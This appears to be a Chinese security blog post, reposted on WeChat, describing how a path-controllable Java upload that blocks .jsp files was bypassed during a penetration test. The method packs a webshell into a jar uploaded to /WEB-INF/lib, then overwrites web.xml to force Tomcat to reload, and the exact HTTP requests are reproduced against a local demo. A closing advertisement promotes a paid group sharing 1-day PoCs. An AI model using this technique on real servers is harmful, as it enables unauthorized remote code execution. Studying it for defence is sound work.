声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
在某次对某单位进行渗透测试时,遇到一个上传点,网站是java写的,但是上传jsp和jspx时会被waf拦截,
但由于上传路径可控,经过不懈努力最终成果拿到shell,
于是写这篇文章记录一下
在某次对某单位进行渗透测试时,遇到一个上传点,网站是java写的,但是上传jsp和jspx时会被waf拦截,但由于上传路径可控,经过不懈努力最终成果拿到shell,于是写这篇文章记录一下
0x01 环境介绍
由于原来网站已经关闭了,所以我这几简单写了一个demo,实现了指定路径上传文件,但是过滤了jsp后缀名
当我们上传文件时,会自动上传到upload目录下
如果后缀名为jsp或者jspx则会被拦截
0x02 前置知识
在 Java web 应用程序中/WEB-INF
目录通常是的一个特定目录,它用于存放与应用程序配置、安全性和资源管理相关的文件和目录,并且该目录下的资源文件无法直接通过浏览器访问
/WEB-INF
下的一般有固定的名称和结构。
-
/WEB-INF/web.xml
配置文件,它包含有关应用程序的部署和配置信息。这包括 servlet 映射、过滤器配置、监听器配置、会话管理等。 -
/WEB-INF/classes
目录通常用于存放 Java 类文件,包括 servlet 类和其他应用程序特定的 Java 类。这些类文件在应用程序中可以被加载和调用。 -
/WEB-INF/lib
通常用于存放应用程序所需的外部 Java 库(JAR 文件)。这些库文件包含应用程序依赖的代码,例如框架、工具库和第三方库,应用程序的类加载器将从该JAR文件中加载相应的资源。
当使用某个类时,Web应用程序将尝试从/WEB-INF/classes加载该类,如果找不到,则尝试从/WEB-INF/lib下的JAR文件中搜索它。
在JAR文件的/META-INF/resources
目录中可以用来放置JSP的静态资源,在servlet3.0协议规范中,包含在jar文件 /META-INFO/resources/ 路径下的资源是可以直接访问的。
例如在 Java web 应用程序的/WEB-INF/lib
中添加一个jar包,在其/META-INF/resources/
中有一个index.html
启动tomcat,请求的URL包含/demo/index.html
,会使用这个JAR文件中的/META-INF/resources/index.html
,因为实际上在/demo/目录下不存在index.html。
0x03 利用过程
既然可以上传至任意路径,那么我们可以把webshell放在/META-INFO/resources/
路径下打包成jar包,然后上传jar包到/WEB-INF/lib
中
首先使用idea新建一个项目,生成器选择Jakarta EE
,模板选择库
然后生成的模板中demo2srcmainresources
下新建目录META-INF/resources
,然后在其下面放入webshell,这里我以打印一句话作为示例
然后运行mvn package
构建项目并打包成jar包
然后发包将生成的jar上传至/WEB-INF/lib
POST /demo/upload?uploadDirectory=/WEB-INF/lib HTTP/1.1
Host: 127.0.0.1:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary67oVSNngE4QsAxoK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Cookie: JSESSIONID=3989AD45810239F4B46930C472A48DB7;
Content-Length: 229
------WebKitFormBoundary67oVSNngE4QsAxoK
Content-Disposition: form-data; name="file"; filename="test.jar"
Content-Type: application/octet-stream
PKx03x04
......(省略)
x00x00x08x00x00yx8dPWx00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00META-2x00x00Vx04x00x00x00x00
------WebKitFormBoundary67oVSNngE4QsAxoK--
(下图中上传文件使用的是yakit语法)
上传成功,但是现在直接访问http://127.0.0.1:8082/demo/shell.jsp
会提示404
这是因为在Tomcat中重新加载位于lib
目录中的JAR文件通常需要重启Tomcat服务器,因为lib
目录中的JAR文件是在Tomcat启动时加载的,而不是在运行时可以动态重新加载的。
然而有一种方法:
默认情况下,autoDeploy
设置为 true
,代表tomcat默认开启热部署,一旦web应用的web.xml文件的时间戳发生变化(创建时间,修改时间或访问时间发生变化),tomcat就会重新加载应用。
那怎样使web.xml文件时间戳发生变化呢?可以通过上传一个同名同内容的文件覆盖它,即在/WEB-INF目录下上传相同内容的web.xml
POST /demo/upload?uploadDirectory=/WEB-INF HTTP/1.1
Host: 127.0.0.1:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary67oVSNngE4QsAxoK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Cookie: JSESSIONID=3989AD45810239F4B46930C472A48DB7;
Content-Length: 229
------WebKitFormBoundary67oVSNngE4QsAxoK
Content-Disposition: form-data; name="file"; filename="web.xml"
Content-Type: application/octet-stream
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
</web-app>
------WebKitFormBoundary67oVSNngE4QsAxoK--
当上传成功后可以观察到tomcat日志信息,成功重新加载应用
再次访问
http://127.0.0.1:8082/demo/shell.jsp
也成功解析
此外,由于可以该改变web.xml中的内容,所以如果可以寻找到未授权的危险类也可以直接在web.xml中添加路由调用对应的类。
原文链接
https://forum.butian.net/share/2499
| 知识星球的介绍
不好意思,兄弟们,这里给湘安无事星球打个广告,不喜欢的可以直接滑走哦。添加下面wx加星球可享优惠
1.群主为什么要建知识星球?
很简单为了恰饭哈哈哈,然后也是为了建立一个圈子进行交流学习和共享资源嘛
相应的也收取费用嘛,毕竟维持星球也需要精力
2.知识星球有哪些资源?
群里面联系群主是可以要一些免费的学习资料的,因为群里面大部分是大学生嘛
大学生不就是喜欢白嫖,所以大家会共享一些资料
没有的群主wk也有,wk除了不会pc,其他都能嫖hhh
一些实战报告,截的部分
一些1day的poc,这些也就是信息差,不想找可以让wk帮你们嫖,群主也会经常发
一些共享的资源
1.刀客源码的高级会员
2.FOFA在线查询与下载,key使用、360quake、shodan等
3.专属漏洞库
5.专属内部it免费课程
6.不定期直播分享(星球有录屏)
技术交流可加下方wx
原文始发于微信公众号(湘安无事):记一次过滤jsp的文件上传
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论